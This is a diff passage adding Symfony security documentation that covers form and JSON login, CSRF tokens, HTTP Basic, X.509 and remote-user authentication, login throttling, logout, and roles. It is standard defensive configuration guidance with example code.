+If the user submits an invalid email or password, that authenticator will store
+the error and redirect back to this controller, where we read the error (using
+``AuthenticationUtils``) so that it can be displayed back to the user.
+
+Finally, create or update the template:
+
+.. code-block:: html+twig
+
+    {# templates/login/index.html.twig #}
+    {% extends 'base.html.twig' %}
+
+    {# ... #}
+
+    {% block body %}
+        {% if error %}
+            <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
+        {% endif %}
+
+        <form action="{{ path('login') }}" method="post">
+            <label for="username">Email:</label>
+            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
+
+            <label for="password">Password:</label>
+            <input type="password" id="password" name="_password"/>
+
+            {# If you want to control the URL the user is redirected to on success
+            <input type="hidden" name="_target_path" value="/account"/> #}
+
+            <button type="submit">login</button>
+        </form>
+    {% endblock %}
+
+.. caution::
+
+    The ``error`` variable passed into the template is an instance of
+    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
+    It may contain sensitive information about the authentication failure.
+    *Never* use ``error.message``: use the ``messageKey`` property instead,
+    as shown in the example. This message is always safe to display.
+
+The form can look like anything, but it usually follows some conventions:
+
+* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
+  that's what you configured as the ``check_path`` under the ``form_login`` key in
+  ``security.yaml``;
+* The username (or whatever your user's "identifier" is, like an email) field has
+  the name ``_username`` and the password field has the name ``_password``.
+
+.. tip::
+
+    Actually, all of this can be configured under the ``form_login`` key. See
+    :ref:`reference-security-firewall-form-login` for more details.
+
+.. caution::
+
+    This login form is currently not protected against CSRF attacks. Read
+    :ref:`form_login-csrf` on how to protect your login form.
+
+And that's it! When you submit the form, the security system automatically
+reads the ``_username`` and ``_password`` POST parameter, loads the user via
+the user provider, checks the user's credentials and either authenticates the
+user or sends them back to the login form where the error can be displayed.
+
+To review the whole process:
+
+#. The user tries to access a resource that is protected (e.g. ``/admin``);
+#. The firewall initiates the authentication process by redirecting the
+   user to the login form (``/login``);
+#. The ``/login`` page renders login form via the route and controller created
+   in this example;
+#. The user submits the login form to ``/login``;
+#. The security system (i.e. the ``form_login`` authenticator) intercepts the
+   request, checks the user's submitted credentials, authenticates the user if
+   they are correct, and sends the user back to the login form if they are not.
+
+.. seealso::
+
+    You can customize the responses on a successful or failed login
+    attempt. See :doc:`/security/form_login`.
+
+.. _form_login-csrf:
+
+CSRF Protection in Login Forms
+..............................
+
+`Login CSRF attacks`_ can be prevented using the same technique of adding hidden
+CSRF tokens into the login forms. The Security component already provides CSRF
+protection, but you need to configure some options before using it.
+
+First, you need to enable CSRF on the form login:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                secured_area:
+                    # ...
+                    form_login:
+                        # ...
+                        enable_csrf: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="secured_area">
+                    <!-- ... -->
+                    <form-login enable-csrf="true"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->formLogin()
+                // ...
+                ->enableCsrf(true)
+            ;
+        };
+
+.. _csrf-login-template:
+
+Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF
+token and store it as a hidden field of the form. By default, the HTML field
+must be called ``_csrf_token`` and the string used to generate the value must
+be ``authenticate``:
+
+.. code-block:: html+twig
+
+    {# templates/security/login.html.twig #}
+
+    {# ... #}
+    <form action="{{ path('login') }}" method="post">
+        {# ... the login fields #}
+
+        <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">
+
+        <button type="submit">login</button>
+    </form>
+
+After this, you have protected your login form against CSRF attacks.
+
+.. tip::
+
+    You can change the name of the field by setting ``csrf_parameter`` and change
+    the token ID by setting  ``csrf_token_id`` in your configuration. See
+    :ref:`reference-security-firewall-form-login` for more details.
+
+JSON Login
+~~~~~~~~~~
+
+Some applications provide an API that is secured using tokens. These
+applications may use an endpoint that provides these tokens based on a
+username (or email) and password. The JSON login authenticator helps you create
+this functionality.
+
+Enable the authenticator using the ``json_login`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    json_login:
+                        # api_login is a route we will create below
+                        check_path: api_login
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="main">
+                    <json-login check-path="api_login"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->jsonLogin()
+                ->checkPath('api_login')
+            ;
+        };
+
+.. note::
+
+    The ``check_path`` supports URLs and route names (but cannot have
+    mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
+    default value).
+
+The authenticator runs when a client request the ``check_path``. First,
+create a controller for this path:
+
+.. code-block:: terminal
+
+    $ php bin/console make:controller --no-template ApiLogin
+
+     created: src/Controller/ApiLoginController.php
+
+.. code-block:: php
+
+    // src/Controller/ApiLoginController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class ApiLoginController extends AbstractController
+    {
+        #[Route('/api/login', name: 'api_login')]
+        public function index(): Response
+        {
+            return $this->json([
+                'message' => 'Welcome to your new controller!',
+                'path' => 'src/Controller/ApiLoginController.php',
+            ]);
+        }
+    }
+
+This login controller will be called after the authenticator successfully
+authenticates the user. You can get the authenticated user, generate a
+token (or whatever you need to return) and return the JSON response:
+
+.. code-block:: diff
+
+      // ...
+    + use App\Entity\User;
+    + use Symfony\Component\Security\Http\Attribute\CurrentUser;
+
+      class ApiLoginController extends AbstractController
+      {
+          #[Route('/api/login', name: 'api_login')]
+    -     public function index(): Response
+    +     public function index(#[CurrentUser] ?User $user): Response
+          {
+    +         if (null === $user) {
+    +             return $this->json([
+    +                 'message' => 'missing credentials',
+    +             ], Response::HTTP_UNAUTHORIZED);
+    +         }
+    +
+    +         $token = ...; // somehow create an API token for $user
+    +
+              return $this->json([
+    -             'message' => 'Welcome to your new controller!',
+    -             'path' => 'src/Controller/ApiLoginController.php',
+    +             'user'  => $user->getUserIdentifier(),
+    +             'token' => $token,
+              ]);
+          }
+      }
+
+.. note::
+
+    The ``#[CurrentUser]`` can only be used in controller arguments to
+    retrieve the authenticated user. In services, you would use
+    :method:`Symfony\\Component\\Security\\Core\\Security::getUser`.
+
+That's it! To summarize the process:
+
+#. A client (e.g. the front-end) makes a *POST request* with the
+   ``Content-Type: application/json`` header to ``/api/login`` with
+   ``username`` (even if your identifier is actually an email) and
+   ``password`` keys:
+
+   .. code-block:: json
+
+        {
+            "username": "dunglas@example.com",
+            "password": "MyPassword"
+        }
+#. The security system intercepts the request, checks the user's submitted
+   credentials and authenticates the user. If the credentials is incorrect,
+   an HTTP 401 Unauthorized JSON response is returned, otherwise your
+   controller is run;
+#. Your controller creates the correct response:
+
+   .. code-block:: json
+
+        {
+            "user": "dunglas@example.com",
+            "token": "45be42..."
+        }
+
+.. tip::
+
+    The JSON request format can be configured under the ``json_login`` key.
+    See :ref:`reference-security-firewall-json-login` for more details.
+
+.. _security-http_basic:
+
+HTTP Basic
+~~~~~~~~~~
+
+`HTTP Basic authentication`_ is a standardized HTTP authentication
+framework. It asks credentials (username and password) using a dialog in
+the browser and the HTTP basic authenticator of Symfony will verify these
+credentials.
+
+Add the ``http_basic`` key to your firewall to enable HTTP Basic
+authentication:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    http_basic:
+                        realm: Secured Area
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="main">
+                    <http-basic realm="Secured Area"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->httpBasic()
+                ->realm('Secured Area')
+            ;
+        };
+
+That's it! Whenever an unauthenticated user tries to visit a protected
+page, Symfony will inform the browser that it needs to start HTTP basic
+authentication (using the ``WWW-Authenticate`` response header). Then, the
+authenticator verifies the credentials and authenticates the user.
+
+.. note::
+
+    You cannot use :ref:`log out <security-logging-out>` with the HTTP
+    basic authenticator. Even if you log out from Symfony, your browser
+    "remembers" your credentials and will send them on every request.
+
+Login Link
+~~~~~~~~~~
+
+Login links are a passwordless authentication mechanism. The user will
+receive a short-lived link (e.g. via email) which will authenticate them to the
+website.
+
+You can learn all about this authenticator in :doc:`/security/login_link`.
+
+X.509 Client Certificates
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When using client certificates, your web server does all the authentication
+itself. The X.509 authenticator provided by Symfony extracts the email from
+the "distinguished name" (DN) of the client certificate. Then, it uses this
+email as user identifier in the user provider.
+
+First, configure your web server to enable client certificate verification
+and to expose the certificate's DN to the Symfony application:
+
+.. configuration-block::
+
+    .. code-block:: nginx
+
+        server {
+            # ...
+
+            ssl_client_certificate /path/to/my-custom-CA.pem;
+
+            # enable client certificate verification
+            ssl_verify_client optional;
+            ssl_verify_depth 1;
+
+            location / {
+                # pass the DN as "SSL_CLIENT_S_DN" to the application
+                fastcgi_param SSL_CLIENT_S_DN $ssl_client_s_dn;
+
+                # ...
+            }
+        }
+
+    .. code-block:: apache
+
+        # ...
+        SSLCACertificateFile "/path/to/my-custom-CA.pem"
+        SSLVerifyClient optional
+        SSLVerifyDepth 1
+
+        # pass the DN to the application
+        SSLOptions +StdEnvVars
+
+Then, enable the X.509 authenticator using ``x509`` on your firewall:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    x509:
+                        provider: your_user_provider
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <x509 provider="your_user_provider"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->x509()
+                ->provider('your_user_provider')
+            ;
+        };
+
+By default, Symfony extracts the email address from the DN in two different
+ways:
+
+#. First, it tries the ``SSL_CLIENT_S_DN_Email`` server parameter, which is
+   exposed by Apache;
+#. If it is not set (e.g. when using Nginx), it uses ``SSL_CLIENT_S_DN`` and
+   matches the value following ``emailAddress=``.
+
+You can customize the name of both parameters under the ``x509`` key. See
+:ref:`the configuration reference <reference-security-firewall-x509>` for
+more details.
+
+Remote Users
+~~~~~~~~~~~~
+
+Besides client certificate authentication, there are more web server
+modules that pre-authenticate a user (e.g. kerberos). The remote user
+authenticator provides a basic integration for these services.
+
+These modules often expose the authenticated user in the ``REMOTE_USER``
+environment variable. The remote user authenticator uses this value as the
+user identifier to load the corresponding user.
+
+Enable remote user authentication using the ``remote_user`` key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    # ...
+                    remote_user:
+                        provider: your_user_provider
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <remote-user provider="your_user_provider"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->remoteUser()
+                ->provider('your_user_provider')
+            ;
+        };
+
+.. tip::
+
+    You can customize the name of this server variable under the
+    ``remote_user`` key. See
+    :ref:`the configuration reference <reference-security-firewall-remote-user>`
+    for more details.
+
+Limiting Login Attempts
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    Login throttling was introduced in Symfony 5.2.
+
+Symfony provides basic protection against `brute force login attacks`_.
+You must enable this using the ``login_throttling`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # you must use the authenticator manager
+            enable_authenticator_manager: true
+
+            firewalls:
+                # ...
+
+                main:
+                    # ...
+
+                    # by default, the feature allows 5 login attempts per minute
+                    login_throttling: null
+
+                    # configure the maximum login attempts (per minute)
+                    login_throttling:
+                        max_attempts: 3
+
+                    # configure the maximum login attempts in a custom period of time
+                    login_throttling:
+                        max_attempts: 3
+                        interval: '15 minutes'
+
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.my_login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <!-- you must use the authenticator manager -->
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- by default, the feature allows 5 login attempts per minute -->
+                    <login-throttling/>
+
+                    <!-- configure the maximum login attempts (per minute) -->
+                    <login-throttling max-attempts="3"/>
+
+                    <!-- configure the maximum login attempts in a custom period of time -->
+                    <login-throttling max-attempts="3" interval="15 minutes"/>
+
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.my_login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
+            $mainFirewall = $security->firewall('main');
+
+            // by default, the feature allows 5 login attempts per minute
+            $mainFirewall->loginThrottling();
+
+            // configure the maximum login attempts (per minute)
+            $mainFirewall->loginThrottling()
+                ->maxAttempts(3)
+            ;
+
+            // configure the maximum login attempts in a custom period of time
+            $mainFirewall->loginThrottling()
+                ->maxAttempts(3)
+                ->interval('15 minutes')
+            ;
+        };
+
+.. versionadded:: 5.3
+
+    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
+
+By default, login attempts are limited on ``max_attempts`` (default: 5)
+failed requests for ``IP address + username`` and ``5 * max_attempts``
+failed requests for ``IP address``. The second limit protects against an
+attacker using multiple usernames from bypassing the first limit, without
+disrupting normal users on big networks (such as offices).
+
+.. tip::
+
+    Limiting the failed login attempts is only one basic protection against
+    brute force attacks. The `OWASP Brute Force Attacks`_ guidelines mention
+    several other protections that you should consider depending on the
+    level of protection required.
+
+If you need a more complex limiting algorithm, create a class that implements
+:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
+(or use
+:class:`Symfony\\Component\\Security\\Http\\RateLimiter\\DefaultLoginRateLimiter`)
+and set the ``limiter`` option to its service ID:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        framework:
+            rate_limiter:
+                # define 2 rate limiters (one for username+IP, the other for IP)
+                username_ip_login:
+                    policy: token_bucket
+                    limit: 5
+                    rate: { interval: '5 minutes' }
+
+                ip_login:
+                    policy: sliding_window
+                    limit: 50
+                    interval: '15 minutes'
+
+        services:
+            # our custom login rate limiter
+            app.login_rate_limiter:
+                class: Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter
+                arguments:
+                    # globalFactory is the limiter for IP
+                    $globalFactory: '@limiter.ip_login'
+                    # localFactory is the limiter for username+IP
+                    $localFactory: '@limiter.username_ip_login'
+
+        security:
+            firewalls:
+                main:
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- define 2 rate limiters (one for username+IP, the other for IP) -->
+                    <framework:limiter name="username_ip_login"
+                        policy="token_bucket"
+                        limit="5"
+                    >
+                        <framework:rate interval="5 minutes"/>
+                    </framework:limiter>
+
+                    <framework:limiter name="ip_login"
+                        policy="sliding_window"
+                        limit="50"
+                        interval="15 minutes"
+                    />
+                </framework:rate-limiter>
+            </framework:config>
+
+            <srv:services>
+                <!-- our custom login rate limiter -->
+                <srv:service id="app.login_rate_limiter"
+                    class="Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter"
+                >
+                    <!-- 1st argument is the limiter for IP -->
+                    <srv:argument type="service" id="limiter.ip_login"/>
+                    <!-- 2nd argument is the limiter for username+IP -->
+                    <srv:argument type="service" id="limiter.username_ip_login"/>
+                </srv:service>
+            </srv:services>
+
+            <config>
+                <firewall name="main">
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Component\DependencyInjection\Reference;
+        use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
+        use Symfony\Config\FrameworkConfig;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+            $framework->rateLimiter()
+                ->limiter('username_ip_login')
+                    ->policy('token_bucket')
+                    ->limit(5)
+                    ->rate()
+                        ->interval('5 minutes')
+            ;
+
+            $framework->rateLimiter()
+                ->limiter('ip_login')
+                    ->policy('sliding_window')
+                    ->limit(50)
+                    ->interval('15 minutes')
+            ;
+
+            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+                ->setArguments([
+                    // 1st argument is the limiter for IP
+                    new Reference('limiter.ip_login'),
+                    // 2nd argument is the limiter for username+IP
+                    new Reference('limiter.username_ip_login'),
+                ]);
+
+            $security->firewall('main')
+                ->loginThrottling()
+                    ->limiter('app.login_rate_limiter')
+            ;
+        };
+
+.. _security-logging-out:
+
+Logging Out
+-----------
+
+To enable logging out, activate the  ``logout`` config parameter under your firewall:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        path: app_logout
+
+                        # where to redirect after logout
+                        # target: app_any_route
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout path="app_logout"/>
+
+                    <!-- use "target" to configure where to redirect after logout
+                    <logout path="app_logout" target="app_any_route"/>
+                    -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            // ...
+            $mainFirewall->logout()
+                ->path('app_logout')
+
+                // where to redirect after logout
+                // ->target('app_any_route')
+            ;
+        };
+
+Next, you need to create a route for this URL (but not a controller):
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            /**
+             * @Route("/logout", name="app_logout", methods={"GET"})
+             */
+            public function logout(): void
+            {
+                // controller can be blank: it will never be called!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
+            public function logout()
+            {
+                // controller can be blank: it will never be called!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        app_logout:
+            path: /logout
+            methods: GET
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="app_logout" path="/logout" methods="GET"/>
+        </routes>
+
+    ..  code-block:: php
+
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            $routes->add('app_logout', '/logout')
+                ->methods(['GET'])
+            ;
+        };
+
+That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
+Symfony will un-authenticate the current user and redirect them.
+
+Customizing Logout
+~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
+    version, you had to use a
+    :ref:`logout success handler <reference-security-logout-success-handler>`
+    to customize the logout.
+
+In some cases you need to run extra logic upon logout (e.g. invalidate
+some tokens) or want to customize what happens after a logout. During
+logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
+is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
+to run custom logic. The following information is available in the
+event class:
+
+``getToken()``
+    Returns the security token of the session that is about to be logged
+    out.
+``getRequest()``
+    Returns the current request.
+``getResponse()``
+    Returns a response, if it is already set by a custom listener. Use
+    ``setResponse()`` to configure a custom logout response.
+
+.. _retrieving-the-user-object:
+
+Fetching the User Object
+------------------------
+
+After authentication, the ``User`` object of the current user can be
+accessed via the ``getUser()`` shortcut in the
+:ref:`base controller <the-base-controller-class-services>`::
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+
+    class ProfileController extends AbstractController
+    {
+        public function index(): Response
+        {
+            // usually you'll want to make sure the user is authenticated first,
+            // see "Authorization" below
+            $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+
+            // returns your User object, or null if the user is not authenticated
+            // use inline documentation to tell your editor your exact User class
+            /** @var \App\Entity\User $user */
+            $user = $this->getUser();
+
+            // Call whatever methods you've added to your User class
+            // For example, if you added a getFirstName() method, you can use that.
+            return new Response('Well hi there '.$user->getFirstName());
+        }
+    }
+
+Fetching the User from a Service
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to get the logged in user from a service, use the
+:class:`Symfony\\Component\\Security\\Core\\Security` service::
+
+    // src/Service/ExampleService.php
+    // ...
+
+    use Symfony\Component\Security\Core\Security;
+
+    class ExampleService
+    {
+        private $security;
+
+        public function __construct(Security $security)
+        {
+            // Avoid calling getUser() in the constructor: auth may not
+            // be complete yet. Instead, store the entire Security object.
+            $this->security = $security;
+        }
+
+        public function someMethod()
+        {
+            // returns User object or null if not authenticated
+            $user = $this->security->getUser();
+
+            // ...
+        }
+    }
+
+Fetch the User in a Template
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In a Twig Template the user object is available via the ``app.user`` variable
+thanks to the :ref:`Twig global app variable <twig-app-variable>`:
+
+.. code-block:: html+twig
+
+    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
+        <p>Email: {{ app.user.email }}</p>
+    {% endif %}
+
+.. _denying-access-roles-and-other-authorization:
+.. _security-access-control:
+
+Access Control (Authorization)
+------------------------------
+
+Users can now log in to your app using your login form. Great! Now, you need to learn
+how to deny access and work with the User object. This is called **authorization**,
+and its job is to decide if a user can access some resource (a URL, a model object,
+a method call, ...).
+
+The process of authorization has two different sides:
+
+#. The user receives a specific role when logging in (e.g. ``ROLE_ADMIN``).
+#. You add code so that a resource (e.g. URL, controller) requires a specific
+   "attribute" (e.g. a role like ``ROLE_ADMIN``) in order to be accessed.
+
+Roles
+~~~~~
+
+When a user logs in, Symfony calls the ``getRoles()`` method on your ``User``
+object to determine which roles this user has. In the ``User`` class that
+was generated earlier, the roles are an array that's stored in the
+database and every user is *always* given at least one role: ``ROLE_USER``::
+
+    // src/Entity/User.php
+
+    // ...
+    class User
+    {
+        /**
+         * @ORM\Column(type="json")
+         */
+        private $roles = [];
+
+        // ...
+        public function getRoles(): array
+        {
+            $roles = $this->roles;
+            // guarantee every user at least has ROLE_USER
+            $roles[] = 'ROLE_USER';
+
+            return array_unique($roles);
+        }
+    }
+
+This is a nice default, but you can do *whatever* you want to determine which roles
+a user should have. Here are a few guidelines:
+
+* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
+
+* Other than the above rule, a role is just a string and you can invent what you
+  need (e.g. ``ROLE_PRODUCT_ADMIN``).
+
+You'll use these roles next to grant access to specific sections of your site.
+
+.. _security-role-hierarchy:
+
+Hierarchical Roles
+..................
+
+Instead of giving many roles to each user, you can define role inheritance
+rules by creating a role hierarchy:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            role_hierarchy:
+                ROLE_ADMIN:       ROLE_USER
+                ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH]
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <role id="ROLE_ADMIN">ROLE_USER</role>
